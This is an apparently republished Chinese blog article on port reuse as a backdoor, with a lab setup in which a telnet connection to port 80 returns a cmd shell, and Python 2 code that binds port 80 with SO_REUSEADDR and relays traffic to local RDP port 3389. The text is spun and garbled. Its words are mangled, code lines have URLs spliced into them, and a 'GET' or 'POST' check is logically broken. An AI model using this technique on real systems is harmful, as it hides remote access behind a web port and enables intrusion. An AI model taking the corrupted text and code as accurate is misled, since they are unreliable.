预备情况:
这里我用jspstudy搭建一个网页办事器,用虚拟机模仿外部情况
- Windows7办事器:IP:192.168.1.8,开放80端口
- Win2008虚拟机:IP:192.168.19.130
这里的端口复竽暌姑是模仿一?cmd后门,当外部IP:192.168.19.130 telnet本地IP:192.168.1.8时,反弹一个cmsdshell以前。
启动端口复竽暌姑对象,telnet连接192.168.1.8的80端口
可以看到我们成功获得了一个cmd shell的会话。
好了,具体的理论和坑点和拭魅战我们都做了,那么下面开端我们的源码分析。
(一):复竽暌姑端口重定向
目标:本来存在80端口,并且监听80端口,22,23,3389等端口复竽暌姑80端口
复竽暌姑端口重定向的实现
- (1)外部IP连本地IP : 192.168.2.1=>192.168.1.1:80=>127.0.0.1:3389
- (2)本地IP转外部IP : 127.0.0.1:3389=>192.168.1.1:80=>192.168.2.1
- #coding=utf-8
- import socket
- import sys
- import select
- host='192.168.1.8'
- port=80
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )
- s.bind((host,port))
- s.listen(10)
- S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- S1.connect(('127.0.0.1',3389))
- print "Start Listen 80 =>3389....."
- while 1:
- infds,outfds,errfds=select.select([s,],[],[],5) #转发3389需去除
- if len(infds)!=0:#转发3389需去除
- conn,(addr,port)=s.accept()
- print '[*] connected from ',addr,port
- data=http://mobile.51cto.com/conn.recv(4096)
- S1.send(data)
- recv_data=http://mobile.51cto.com/s1.recv(4096)
- conn.send(recv_data)
- print '[-] connected down',
- S1.close()
- s.close()
起首我们创建了两个套接字 s 和 s1 , s 绑定 80 端口,个中 setsockopt 用到了 socket.SO_REUSEADDR 以达到端口复竽暌姑目标, s1 连接本地 3389 端口, s1 在这里起到了数据中转的感化, select 是我们用来处理壅塞问题的,不过在这里这段代码是有点问题的,这个问题在前文说过, 3389 端口可以或许连上,然则数据传输会中断,我们须要开启多线程来包管数据的持续性传输并撤消掉落 select 。
我们只须要加上一个断定(怎么断定数据标头可以自定义),或者断定本身的标记头。
- if 'GET' or ‘POST’ in data:
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.connect(('127.0.0.1',80))
- s.send(data)
推荐阅读
Netcraft 10月Web服务器排名:Nginx首超微软排第二
Netcraft 宣布了2017年10月 Web 办事器查询拜访申报,本月 Netcraft一共统计了1,815,237,491 个站点和 6,886,362 台收集计算机,排名前三的依然是 Microsoft、Apache 和 nginx 。在 10 月>>>详细阅读
本文标题:聊聊端口复用的实现和坑点
地址:http://www.17bianji.com/lsqh/38630.html
1/2 1